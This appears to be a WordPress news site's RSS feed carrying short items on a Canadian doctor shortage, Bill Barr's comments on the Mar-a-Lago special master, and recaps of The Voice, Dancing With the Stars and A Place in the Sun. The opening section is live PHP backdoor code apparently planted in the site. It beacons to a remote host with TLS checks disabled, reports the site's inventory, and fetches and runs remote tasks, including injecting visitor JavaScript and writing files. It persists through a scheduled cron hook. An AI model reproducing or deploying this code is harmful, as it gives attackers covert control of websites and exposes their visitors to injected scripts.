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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); couple – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 12 Sep 2022 11:33:26 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png couple – Brief News https://briefnews.eu 32 32 This B.C. couple found a doctor by placing a newspaper ad. Others hope to copy their success https://briefnews.eu/this-b-c-couple-found-a-doctor-by-placing-a-newspaper-ad-others-hope-to-copy-their-success/ https://briefnews.eu/this-b-c-couple-found-a-doctor-by-placing-a-newspaper-ad-others-hope-to-copy-their-success/#respond Mon, 12 Sep 2022 11:33:26 +0000 https://briefnews.eu/this-b-c-couple-found-a-doctor-by-placing-a-newspaper-ad-others-hope-to-copy-their-success/ Michael Mort and Janet Mort

As Canada’s doctor shortage grows, people are getting creative in their search for primary care. The Vancouver Island woman whose newspaper ad seeking a doctor inspired a copycat in Vancouver has found a family physician for her husband. But there are still millions without access to primary care.

]]> https://briefnews.eu/this-b-c-couple-found-a-doctor-by-placing-a-newspaper-ad-others-hope-to-copy-their-success/feed/ 0 Bill Barr says a special master won’t fundamentally change much for Trump and represents a ‘rain delay for a couple of innings’ https://briefnews.eu/bill-barr-says-a-special-master-wont-fundamentally-change-much-for-trump-and-represents-a-rain-delay-for-a-couple-of-innings/ https://briefnews.eu/bill-barr-says-a-special-master-wont-fundamentally-change-much-for-trump-and-represents-a-rain-delay-for-a-couple-of-innings/#respond Wed, 07 Sep 2022 04:40:34 +0000 https://briefnews.eu/bill-barr-says-a-special-master-wont-fundamentally-change-much-for-trump-and-represents-a-rain-delay-for-a-couple-of-innings/ U.S. Attorney General William Barr and U.S. President Donald Trump attend a signing ceremony for an executive order establishing the Task Force on Missing and Murdered American Indians and Alaska Natives, in the Oval Office of the White House on November 26, 2019 in Washington, DC. Attorney General Barr recently announced the initiative on a trip to Montana where he met with Confederated Salish Kootenai Tribe leaders.
William Barr served as US attorney general under former President Donald Trump.

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  • Bill Bar said it's unlikely a special master will compromise the outcome of the Mar-a-Lago probe.
  • The former attorney general said the DOJ still has "very strong evidence" at its disposal.
  • At the same time, he blasted a judge's decision to appoint a special master in the case.

Former Attorney General William Barr said on Tuesday that it's unlikely the appointment of a special master would impact the most important aspects of the Department of Justice's investigation into former President Donald Trump's handling of classified documents.

"I don't think the appointment of a special master is going to hold up, but even if it does, I don't see it fundamentally changing the trajectory," said Barr, who served as attorney general under Trump, on the Fox News show "The Story with Martha McCallum."

Barr said he believed the "fundamental dynamics of the case are set" and that the government has "very strong evidence" to help it decide whether or not to charge Trump.

"I don't think it changes the ballgame so much as maybe we'll have a rain delay for a couple of innings," he said.

At the same time, Barr criticized District Judge Aileen Cannon's decision to appoint a special master on Trump's request to review the evidence found at Trump's Mar-a-Lago residence in Florida last month, as Insider's Oma Seddiq and John Haltiwanger reported.

"It's deeply flawed in a number of ways," Barr said, calling Cannon's ruling a "wrong" decision.

A special master is a third party appointed by a judge to assist the court with a particular case or matter, sometimes with time-consuming tasks that judges don't have enough bandwidth to do themselves. At other times, a special master could be someone with particular expertise who can advise the court on technical issues.

In the case of the Justice Department's investigation into Trump, a special master was assigned by Cannon to sift through and review the records seized at Mar-a-Lago — the central focus of the probe so far.

The ruling from Cannon, a Trump appointee, will likely slow down the investigation. She had also ordered the Justice Department to temporarily cease using the seized documents for its probe, largely cutting off its means to continue working on the case.

Cannon's decision has been panned by several high-profile legal experts, such as former federal prosecutor Renato Mariotti, who tweeted that it set a "problematic precedent."

Harvard legal scholar and law professor Lawrence Tribe described the ruling as "utterly lawless" and said Cannon  looked like "her mind was made up the moment Team Trump filed in her court."

Steve Vladeck, a University of Texas professor who specializes in national security law, called the decision "preposterous" for blocking the Justice Department from using documents already in its possession.

In his TV appearance on Tuesday, Barr urged the Justice Department to appeal Cannon's decision. While the department had previously indicated it would do so if a special master were appointed, the appeal had yet to be filed as of Tuesday evening.

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The voice recap Cam Anthony zae romeo battlesTeam Blake: Cam Anthony (Grade: A) defeated Emma Caroline (Grade: B-) on “10,000 Hours” — Emma saved by Blake | In rehearsal, the competitors inspired the best of all possible compliments from their advisors, who originally performed the song with Justin Bieber. “They sing it better than we do,” exclaimed Dan + Shay. “It’s upsetting.” But Blake warned Emma that while Cam “is performing, you’re singing.” She needed to crank up the charisma. On stage, Cam sounded and looked like a freakin’ superstar; the guy was born for the spotlight. Emma, meanwhile, sounded lovely but had an unfortunate deer-in-headlights quality through much of the number. Not sure it was a smart move for Blake to save her when even he admitted that in doing so, “I wanted to scare some stage presence into you.”

Team Kelly: Gihanna Zoe (Grade: A) defeated Halley Greg (Grade: B+) on “Thinking Out Loud” | After hearing the duo rehearse, I’ll admit I was worried about Halley, who, along with Cam, was one of my absolute favorites from the Blinds. She’d nailed her big, belty note, but Gihanna sounded like she was inhabiting the notes as much as singing them; that was gonna be tough to beat. In the moment of truth, good Lorde, Gihanna just sounded like she was pulling tricks out of a bottomless bag. She was magnificent; her vocal, massive and emotional. Halley was good, too, but by and large, softer and more ethereal, which definitely gave Gihanna the edge. Still, I was gutted that no one stole Halley; no two ways about it, she’s special.

Team Legend: Zania Alake (Grade: B+) defeated Durell Anthony (Grade: C) on “Emotion” | Running through the Bee Gees/Destiny’s Child hit with their coach and advisor Brandy, Zania sounded far stronger than Durell despite his much-praised falsetto; she just needed to make sure that she had enough air to make it through her whole runs. When they took their place behind the mic, Durell sounded like he was hanging on by a thread to his pitch. Zania, on the other hand, sang with great confidence. Even though the duet as a whole never really gelled, it was like there was light being beamed out of her throat as much as sound. “You delivered once again,” summed up John.

Team Blake: Jordan Matthew Young (Grade: B+) defeated Keegan Ferrell (Grade: C) on “Calling All Angels” — Keegan stolen by Nick | After rehearsal, the big concern about Keegan was confidence. Blake loved his “wiggly vibrato,” but like Emma before him, he wasn’t owning the room; how was he gonna own the stage? Jordan didn’t lack presence, but Dan + Shay wanted him to command rather than politely request attention. In the moment of truth, Keegan sounded pretty but flat — not tonally, there just wasn’t any there there, nothing unique or particularly memorable (though Kelly’s fill-in Kelsea Ballerini was really wowed by his high note). Jordan, with his grittier voice, dominated with ease. If you’d told me I was watching a guest performer in the finale, I would’ve believed you. He was a total fish in water. Or a fish in bell bottoms, at least. Couldn’t believe Nick stole Keegan instead of Halley!

The voice recap Cam Anthony zae romeo battlesTeam Nick: Zae Romeo (Grade: A) defeated Lindsay Joan (Grade: A-) on “Rewrite the Stars” | In rehearsal, advisor Darren Criss worried that, despite the contestants’ good instincts, their performance wasn’t meshing as a duet. (See also: Zania and Durell.) Suffering from his-and-hers fears, Zae and Lindsay just weren’t connecting. On stage, though, they pulled it together. Zae in particular really nailed the emotion of the song, whereas Lindsay shone more brightly in the technical aspects. Tough call, but I’d have had to have gone with Zae. The guy is the total package, and whereas Lindsay sometimes gave the sense that she was acting, from him, I only had a sense of feeling. Plus, how good would his name look in lights?

Team Kelly: Corey Ward (Grade: B-) defeated Savanna Woods (Grade: B+) on “Dreams” — Savanna saved by Kelsea for Kelly | Practicing with Kelly and Luis Fonsi, Savanna started Corey shaking in his boots. “She knows how to use her instrument to a T,” marveled Luis, adding that the competitors actually made one another better during their performance. Mebbe, but to me, he sounded outclassed; Savanna’s a beast in the best way. When the spotlight fell on the duo, Corey acquitted himself nicely, sculpting notes out of thin air. This wasn’t anywhere near as exciting a Savanna performance as her Blind, but I still couldn’t take my ears off her. We’ve heard a lot of Coreys, far fewer Savannas; she should stand way the hell out in the Four-Way Knockout.

Finally, given extremely short shrift was the Battle between Team Legend’s Ciana Pelekai and Denisha Dalton in which the former emerged victorious. Eesh — guess the “vocal risks” their coach mentioned them taking didn’t exactly pay off.

So, who stood out for you Monday night? Vote for the best Battle-r in the poll below, then hit the comments, if only to tell me that yes, I was the only one so bummed about Halley being eliminated.

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Channel 4 viewers were jetted off to Tenerife, Spain on Friday for another chance to see pair Steve and Jane’s hunt for their first dream home together. However, despite seemingly ticking off the pair’s requirements “on paper” in all of her properties, musician Steve, in particular, refused to consider any of Jasmine Harman‘s listings as contenders – prompting a backlash from viewers.

With a budget of £200,000, Steve and Jane had a long list of requirements, including a garden, traditional looks and space for a studio for Steve.

And on the face of the five properties, Jasmine appeared to tick off a number of boxes.

However, she received lukewarm response after lukewarm response.

Complaints from Steve and Jane ranged from properties being too modern to not modern enough, and irks over nearby roads and the sight of electric pylons.

READ MORE: A Place In The Sun’s Danni Menzies talks challenges after moving home

And with so much criticism of Jasmine’s options, fans at home were quick to make their thoughts known.

“You’re not unlucky Steve pal,” vented one Channel 4 viewer on Twitter. “You just want too much in an expensive place for your budget. #aplaceinthesun.”

A second claimed: “The producers haven’t done their homework with these two. Time wasters who are about 100k short of what they want. #aplaceinthesun.”

“Hold on, he said it was too modern. Then they said the kitchen was dark and not open enough. OLD style IS dark and not open. They’re talking a load of s**t #APlaceInTheSun,” blasted a third.

When asked about property number five specifically, Steve revealed: “I think it’s on the backburner really.”

Jane explained: “We did like that one, we could see a lot of potential. It’s a huge amount of space but it was really at the top of our budget.

“We would need to think about ripping out walls and putting in a different kitchen,” she added before Steve weighed in: “We’re not ready for a big project.”

Jasmine made her thoughts clear on the search, as she replied: “To be honest, I realised that there were a lot of compromises. 

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Barry and Kay still refused to meet the owner’s demands, however, and instead put forward £105,000 as their “last, last” offer.

Luckily for the two, the owner eventually accepted the offer and the pair’s U-turn paid off as they landed their dream holiday home.

Still stunned by the events, Jasmine commented: “You get it for that price, that will be the deal of the century, to be honest.”

“I can’t believe it,” Jasmine said to Barry and Kay before telling Channel 4 viewers: “That completely took me by surprise, a last-minute change of property.”

A Place in the Sun continues weekdays at 3pm on Channel 4.

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]]> https://briefnews.eu/a-place-in-the-suns-jasmine-harman-lost-for-words-as-couple-land-deal-of-the-century/feed/ 0 Dancing With the Stars Recap: Which Couple Went Home on Villains Night? https://briefnews.eu/dancing-with-the-stars-recap-which-couple-went-home-on-villains-night/ https://briefnews.eu/dancing-with-the-stars-recap-which-couple-went-home-on-villains-night/#respond Tue, 27 Oct 2020 10:20:05 +0000 https://briefnews.eu/dancing-with-the-stars-recap-which-couple-went-home-on-villains-night/

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The movie villains that inspired Monday’s Dancing With the Stars episode may be evil, but the performances weren’t bad at all.

ABC’s competition series celebrated Halloween with its latest outing, delivering 10 routines that featured iconic baddies from pop culture. (Cruella de Vil and Hannibal Lecter aren’t quite on the same level, but I get what they were going for.)

But for the remaining contestants, the real fright came at the end of the episode, when another couple was asked to pack up their dancing shoes and leave the ballroom for good. Before we get to the results, let’s recap the evening’s performances:

Jeannie Mai and pro Brandon Armstrong (Paso Doble inspired by Hannibal Lecter): Jeannie might just be the season’s most watchable performer, and I wish the judges were giving her props for that. She completely commits to all of her characters, and in this intense paso doble, that was especially valuable. On the technical side, my fear is that Jeannie is starting to plateau a bit; Carrie Ann’s recommendation that Jeannie suppress her energy just a tad is the same critique that Jeannie got back in Week 1, and her feet are still a bit wobbly when she’s in hold. But she’s got such potential to win the whole show, and I hope she can fine-tune some of those small details before it’s too late in the competition. Judges’ Score: 25/30

Johnny Weir and pro Britt Stewart (Viennese Waltz inspired by Dracula): Well, what we could actually see of this routine looked pretty solid, at least. (Someone in the effects department loves dry ice, huh?) I would argue, though, that parts of this Viennese waltz weren’t quite as fluid as the judges indicated. Although the costuming and “Creep” cover created a fantastic mood, Johnny seemed so caught up in the passion at times that his footwork was a bit choppy. (Plus, he came in way early on a hand connection toward the end.) It was a major improvement over last week’s salsa, but at this point, Johnny’s performances from week to week are more unpredictable than Carrie Ann’s hair color. Judges’ Score: 27/30

DWTS Halloween EpisodeChrishell Stause and pro Gleb Savchenko (Paso Doble inspired by Maleficent, pictured): Chrishell continues to show promise in the ballroom, and she seems to be taking the judges’ critiques to heart each week. As for whether this paso doble was “mesmerizing,” as Carrie Ann put it, I think that might be a bit too kind. It did have compelling dramatic elements, and Chrishell fully embodied Maleficent’s intensity — but Gleb’s choreography favored endless dips and drags across the floor instead of more traditional paso content, and Chrishell was sometimes so into her character, her movements looked unsteady instead of spirited. Judges’ Score: 26/30

Monica Aldama and pro Val Chmerkovskiy (Jazz inspired by Nurse Ratched): Perhaps it’s her cheerleading background, but no matter what facial expression Monica wears when she’s dancing, it rarely seems to reach her eyes. Her extensions in this number were fabulous, and there was a sensuality between her and Val that hasn’t shown up in previous routines, but Monica consistently struggles to sell the characters she’s playing, resulting in routines — like this one, unfortunately — that feel a little paint-by-number. (In an alternate universe, Rumer Willis and Val perform this same number on Season 20, and it’s fire.) Judges’ Score: 22/30

AJ McLean and pro Cheryl Burke (Tango inspired by Norman Bates): Perhaps it was lingering concern over Cheryl’s rehearsal injury — and the fear that it would happen a second time — but AJ’s expression looked a bit freaked out during this tango, no? Still, wide eyes aside, AJ deftly navigated some very complicated footwork here, and the song that accompanied his performance — the Intermezzo Orchestra’s “Psycho,” appropriately — was instrumental only, making AJ’s timing even more impressive. Judges’ Score: 26/30

DWTS Halloween EpisodeNelly and pro Daniella Karagach (Argentine Tango inspired by Freddy Krueger, pictured): Watching Nelly’s self-consciousness melt away a little more each week has been one of the joys of this season, especially during this performance. Nelly has always had swagger, but his ability to be both menacing (as Freddy Krueger) and sultry (as a partner to Daniella) was terrific… even if not every Argentine tango step was perfect once that chorus hit. Judges’ Score: 27/30

Justina Machado and pro Sasha Farber (Tango inspired by Carrie): Sasha gets major kudos here for some very inventive choreography; working telekinesis into a dance routine is no easy feat, but he added some cool athleticism here to give the impression that Justina was really controlling his movements. In fact, once Justina and Sasha got into traditional tango hold, the number didn’t have quite as much impact, but the actress was, as usual, reliably solid. Judges’ Score: 26/30

Nev Schulman and pro Jenna Johnson (Paso Doble inspired by Black Swan): If you’ve followed any of my DWTS coverage over the years, you know I’ve got zero problem with ringers; it’s fun to watch the awkward, goofy performances for maybe two weeks, but after that, I’m ready to see real dancing — and that’s absolutely what Nev delivered here. Across the board, this paso doble was gorgeous: athletic but graceful, fierce but elegant. (And Jenna can rock black lipstick in a way I will forever envy.) It does make me laugh, though, that all of Nev’s pre-taped packages end up revealing that he’s been dancing, or at least watching dance performances, for years. The show tried to pretend at first like Nev wasn’t practically a pro dancer himself, but he very much is. Whatever! I love perfect dances! Judges’ Score: 30/30

Skai Jackson and pro Alan Bersten (Argentine Tango inspired by Bride of Chucky): What a difference a pair of Tiffany Valentine color contacts makes! Skai’s most consistent shortcoming this season has been her nervous smile, but the angsty vibe of this performance — from the hair and makeup to the Billie Eilish soundtrack to the moody choreography — allowed for Skai’s anxiety to fade away beautifully. But if you’re going to dance to a Billie Eilish song on Villains Night, how is it not “Bad Guy”? Judges’ Score: 27/30

Kaitlyn Bristowe and pro Artem Chigvintsev (Paso Doble inspired by Cruella de Vil): First off, saddling Kaitlyn and Artem with that dreadful “Disturbia” cover was so rude. Second, Kaitlyn admitted this paso doble exhausted her, and you could tell her energy was flagging by the end; when she sat on the floor in preparation for Artem to pull her through his legs, it honestly looked like she had no interest in getting up. On one hand, the exhaustion Is understandable, as her routine was packed with more content than any of the episode’s other paso dobles; on the other hand, expectations for Kaitlyn are sky-high, and her performances are becoming a smidge forgettable. (Just a smidge, though!) Judges’ Score: 24/30

And now, the results:

COUPLES IN JEOPARDY
Jeannie Mai and pro Brandon Armstrong
Monica Aldama and pro Val Chmerkovskiy

SAVED BY JUDGES
Jeannie Mai and pro Brandon Armstrong (saved by Carrie Ann and Bruno)

ELIMINATED
Monica Aldama and pro Val Chmerkovskiy

Now it’s your turn! Did Monica and Val deserve to go home this week? Give us your thoughts on Villains Night in a comment below!

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Upon arriving at the second property in Costa Blanca, Bob, who was keen on staying in the UK, knew the property was good enough to win him over.

“I’m in trouble here,” Bob jokingly told his other half and A Place in the Sun host.

“You’re not being fair, are you?” Bob added as he could feel himself and Judith being drawn to the property.

“This is exactly what you wanted,” Jasmine added and she had more good news to add to the pair’s first impression.

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]]> https://briefnews.eu/a-place-in-the-suns-jasmine-harman-branded-unfair-as-she-leaves-couple-in-tears/feed/ 0 Dancing With the Stars Recap: Which Couple Fell Short of the Top 10? https://briefnews.eu/dancing-with-the-stars-recap-which-couple-fell-short-of-the-top-10/ https://briefnews.eu/dancing-with-the-stars-recap-which-couple-fell-short-of-the-top-10/#respond Tue, 20 Oct 2020 12:53:53 +0000 https://briefnews.eu/dancing-with-the-stars-recap-which-couple-fell-short-of-the-top-10/

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Dancing With the Stars seemed to have just one thing on its mind Monday night: Derek! Hough! Was! Back!

In case you somehow missed the three weeks of teasers from Tyra Banks, judge Derek Hough — who started his DWTS career as a professional partner years ago — returned to the ballroom floor this week to perform a paso doble with girlfriend (and onetime DWTS troupe member) Hayley Erbert. Forget about those Top 11 contestants! Derek’s dancing again, and nothing else matters! (Derek’s performance was very good, but it was clearly pre-taped, no?)

But even though the remaining Season 29 amateurs didn’t inspire quite as much hype as Derek’s return, many of them made a strong case for advancing to the Top 10. Others, however, seemed to regress a bit, including a contestant who topped the leaderboard just last week. Before we get to the results, let’s recap the evening’s performances:

Johnny Weir and pro Britt Stewart (Salsa): One of the great mysteries of Season 29 is Johnny’s continuous struggle with traditional ballroom styles. Last week’s contemporary was tremendous, but so much of this salsa was off — awkward hand connections, a final lift that looked a little painful to execute and, most disappointingly, Johnny’s tendency to dance just a liiittle ahead of the music. He has one of the best personalities on the show, and his chemistry with Britt is so, so good, but I can’t help but wonder how many more chances he’ll have to prove he’s a consistent performer. Judges’ Score: 22/30

Nev Schulman and pro Jenna Johnson (Jazz): Whomever paired Marky Mark and the Funky Bunch’s “Good Vibrations” with the style of jazz, frankly, has a sick and twisted mind. (It’ll come in handy for next week’s Halloween show, at least!) But Nev, once again, was reliably good, and he didn’t miss a step in this intricate performance. Judges’ Score: 26/30

Monica Aldama and pro Val Chmerkovskiy (Rumba): Despite the glowing remarks from the judges — including Bruno’s comment that Monica’s face was “inspired” during Monday’s routine — I feel as though she’s struggling with the same problem that several gymnasts have had on this show: She’s got all the steps down, but the emotional connection just ain’t there. The rumba is meant to be passionate and seductive, and though it’s hard to accomplish that with Rod Stewart’s “Have I Told You Lately” as your soundtrack, I so wish Monica had brought a little sensuality to her dynamic with Val, who was doing most of the heavy lifting here when it came to emotional intensity. (Great hip action, though!). Judges’ Score: 27/30

Skai Jackson and pro Alan Bersten (Cha-Cha): Man, this was a heartbreaker, huh? I had hoped Skai’s transcendent foxtrot from two weeks ago would be a turning point for her, but she continues to radiate nervous energy when she enters the ballroom, more than a month into the season. And then, of course, there was that middle section, in which Skai completely lost the choreography for a few seconds. She recovered nicely, and the second half of the number was surprisingly strong given her early mistakes… but Skai’s now had two big fumbles during her performances, and I worry she’s not getting any more comfortable on the dance floor as the season continues. Judges’ Score: 18/30

Vernon Davis and pro Peta Murgatroyd (Cha-Cha): Vernon, fortunately, did not seem rattled by Skai’s cha-cha, which came immediately before his and featured quite a few missteps. But even though Vernon has this magnificent energy and commitment to the movements — dude is not afraid to pop the booty out, folks — there’s been something tragically forgettable about his recent performances, and I fear he’s forever stuck in the land of sevens. Judges’ Score: 21/30

Nelly and pro Daniella Karagach (Viennese Waltz): Nelly knew we wanted rounded arms, and he gave us rounded arms in this Viennese waltz. I do wish he had a slightly stronger chemistry with Daniella, who’s working incredibly hard to soften his edges and choreograph to his strengths — but on the whole, Nelly’s elegance (his Nellygance, if you will) and vulnerability in this routine were such a pleasant surprise, given his previous hesitance to completely surrender to the choreography. Judges’ Score: 24/30

DWTS Season 29Jeannie Mai and pro Brandon Armstrong (Rumba, pictured): What Monica’s rumba lacked in emotional connection, Jeannie’s had in spades. Moved to tears by her family members who had risked everything to flee Vietnam, Jeannie began this routine with quivering lips and glassy eyes — but even after she got her emotions under control, Jeannie maintained that intensity and sensitivity until the number was finished, and she brought sensuality to the movements despite performing on the verge of tears. Impressive all around. Judges’ Score: 25/30

AJ McLean and pro Cheryl Burke (Samba): This. Was. So. Fun. Some of this season’s male contestants seem a bit too restrained and self-conscious when they perform, but AJ completely goes for it, sinking into the pocket of this samba perfectly. And those shoulder shimmies? Everything. Judges’ Score: 27/30

Chrishell Stause and pro Gleb Savchenko (Contemporary): I was a little nervous for Chrishell to tackle a style as demanding as contemporary, but I think she actually benefited from a style that’s more abstract and emotion-based. Sure, it wasn’t technically perfect — and I’d argue that Gleb could have given Chrishell meatier choreography, instead of packing the piece with lifts — but the dedication to Chrishell’s late parents made the entire number pulse with emotion, which is especially important for this style. Judges’ Score: 24/30

Kaitlyn Bristowe and pro Artem Chigvintsev (Samba): I got a chuckle out of Kaitlyn’s pre-performance video package, which tried its darndest to convince us Kaitlyn was struggling with the choreography. We all knew she was going to slay in the end, right? Carrie Ann had a point, though, that this samba managed to be both technically superb and a little underwhelming; the bar for Kaitlyn is especially high, given her consistent excellence, and she’s got the unenviable task of outdoing herself every time. Judges’ Score: 27/30

Justina Machado and pro Sasha Farber (Viennese Waltz): It was graceful, it was sensitive and that foot did not come off the floor. Justina is another contestant who’s been so dependably good every week that she runs the risk of falling through the cracks with voters. But as worried as I am that Justina will go home sooner than she deserves because she’s too good — there’s precedent! — it was lovely to see a more emotional side of her, and her connection with Sasha is among the season’s most joyous. Judges’ Score: 27/30

And now, the results:

COUPLES IN JEOPARDY
Johnny Weir and pro Britt Stewart
Vernon Davis and pro Peta Murgatroyd

SAVED BY JUDGES
Johnny Weir and pro Britt Stewart (saved by Derek and Bruno)

ELIMINATED
Vernon Davis and pro Peta Murgatroyd

Your turn! Were Vernon and Peta the right choice for elimination? And who’s your current favorite in the Top 10? Tell us in a comment below!

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Jasmine Harman certainly had her work cut out for her in the latest A Place in the Sun as Brian and Sue wanted a home on the outskirts of Axarquia which was a traditional Spanish villa and not overlooked by any other properties. They added their home needed two bedrooms minimum and a third would be good so they could hold parties. Brian also wanted the property to have a garage so he could move his beloved cars over.

Things got off to a good start as both Brian and Sue fell for the first property they saw.

But as the search continued, they found themselves conflicted over a house on a hill, which came with spectacular views of the sea and needed a little fixing up, and a hoe which was ready to move into.

Jasmine gave the couple a night to mull over the properties and decide if they wanted to make an offer on either of them.

It seemed Brian and Sue had a lot to discuss as they both loved different properties.

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However by the time they met with Jasmine the next day, they had decided the fourth property, which was the house on the hill, was the one for them.

Brian explained: “There are two fantastic options, it was a head decision it would be the immaculate house.

“It’s a heart decision so it’s going to be the house on the hill. You were gobsmacked as you walked in and saw that view.”

Sue agreed, adding: “You can’t change that view but you can change the inside.”

Jasmine made a call to the agent but the pair were knocked back as their offer was rejected.

“Absolute lowest they would go is just over £190,000 because it’s new to the market and with that view, the property could be priced a lot higher,” Jasmine told the couple.

“I think it’s a very special house, I will accept their offer,” Brian smiled. “Or we will accept their offer.”

Smiling, Jasmine called the agent back to confirm they had a deal as Brian and Sue were happy to pay £190,000.

“They feel it is a very special place,” she told the agent.

As she hung up after confirming the deal, Sue could be seen wiping tears from her eyes as she admitted her mascara was running.

“It’s amazing,” she told Jasmine, as the presenter replied: “It’s so emotional. That’s really good.”

A Place in the Sun airs weeknights on Channel 4 at 3pm.

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Slip on those leg warmers and pull your best Scrunchies out of storage, because Dancing With the Stars is taking us back to the ’80s.

Though Season 29 hasn’t had specific themes every week — last Monday’s performances, for example, were an odd mish-mash of emotional routines and random sambas set to “Party in the U.S.A.” — the competition series went all in on this week’s ’80s motif. The side ponytails! The bodysuits! The hairstyle on poor Gleb!

But for one eliminated couple, ’80s Night was far from totally tubular. Before we get to the results, let’s get physical, physical break down the evening’s performances:

Justina Machado and pro Sasha Farber (Jazz): Jazz routines are fairly rare on Dancing With the Stars, so it thrilled me that Justina, one of the season’s strongest performers, got to tackle it this week instead of traditional ballroom. The end result was an extremely fun, nostalgic routine, but I was expecting a bit more from the choreography; Justina seems up for the challenge of more intricate movements (and isn’t afraid to take a bucket of water straight to the chest!), but so many of the combinations here were surprisingly simple. Did Justina nail it anyway? Totally. Could she have nailed a routine twice that difficult? I suspect yes. Judges’ Score: 24/30

Jesse Metcalfe and pro Sharna Burgess (Tango): I do agree that Jesse has been on the sliiiightest of inclines since Season 29 began, improving a tiny bit each week (and he’s certainly got an admirable attitude, given the weekly critiques). And yet, five weeks in, I’m shocked the judges aren’t making more mention of Jesse’s facial expressions, or lack thereof. Yes, his timing was off throughout this tango, but I was more distracted by the strange pout on his lips throughout the number — and the stony look in his eyes, once again, made it hard to decipher if he’s actually having a good time out there, or simply grinning frowning and bearing it. Judges’ Score: 19/30

Chrishell Stause and pro Gleb Savchenko (Cha-Cha): Chrishell had a very steep incline between Weeks 1 and 2, then again between Weeks 2 and 3. (The girl started out with fours from the judges, don’t forget!) But now, the actress seems to have plateaued: I adore her enthusiasm so much, but she isn’t mastering the steps quite enough, particularly during really crucial sections of this cha-cha. And though her chemistry with Gleb is effortless, I’m not sure he’s choreographing her in a way that shows her strengths or challenges her to perfect the movements; there’s lots of entertaining filler, but it becomes less impressive when the core ballroom steps are all over the place. Judges’ Score: 19/30

Jeannie Mai and pro Brandon Armstrong (Jazz): I have to admit: I’ve become a little obsessed with Jeannie in these last five weeks. Her commitment to playing different characters, and the sheer joy she exudes while dancing, are always so fun to behold. Much like Justina, I think Jeannie could have handled more complex choreography here, but her and Brandon’s final product was still totally rad. Judges’ Score: 24/30

Monica Aldama and pro Val Chmerkovskiy (Tango): I like Monica! I like Val! A lot! But this routine was a tad overscored, no? Monica does have an impressive flexibility, and her extensions — like when she slid her leg through the gap in Val’s — are terrific. But Monica also mis-timed those opening step-and-snap moves, and this tango lacked a certain passion that the style demands. Judges’ Score: 26/30

DWTS Season 29AJ McLean and pro Cheryl Burke (Waltz, pictured): Carrie Ann Inaba’s opening comments for AJ nearly matched the words I wrote down halfway through his performance: “Wow, such an elegance!” I’ve been waiting for AJ to break out as a serious contender, and this waltz seemed to do it; though he seemed a bit intimidated to carry Cheryl through those floor spins, he also brought a lovely gentleness to the choreography that his previous ballroom performances didn’t possess. Judges’ Score: 24/30

Skai Jackson and pro Alan Bersten (Jazz): After last week’s sensational foxtrot — the first time in several weeks that Skai seemed to surrender to the choreography and music — I was bummed to see her panicked expression make a comeback (though Derek did her a solid by pointing it out). I want so badly for Skai to sink down into all of Alan’s choreography the way she did last week’s, but that isn’t happening consistently enough just yet. Judges’ Score: 24/30

Vernon Davis and pro Peta Murgatroyd (Tango): Vernon has so, so much potential, but it went largely untapped in this tango. (That awkward descent of the ballroom stairs didn’t help, either. So slow! So odd!) From the unenthused expression on his face to his misplaced feet near the middle of the routine, Vernon seemed uncomfortable from start to finish — but perhaps we should just blame that on the hair-band wig he was wearing. Judges’ Score: 21/30

Kaitlyn Bristowe and pro Artem Chigvintsev (Tango): Kaitlyn is always a strong performer, but Monday’s so-so episode, in which even some promising contestants faltered a bit, only served to highlight her strengths. Her confidence while in frame, the effortless use of props at the top of the number, the unexpected but completely delightful breakdancing — it was all extremely refreshing, and I’m excited to watch Kaitlyn keep growing. Judges’ Score: 27/30

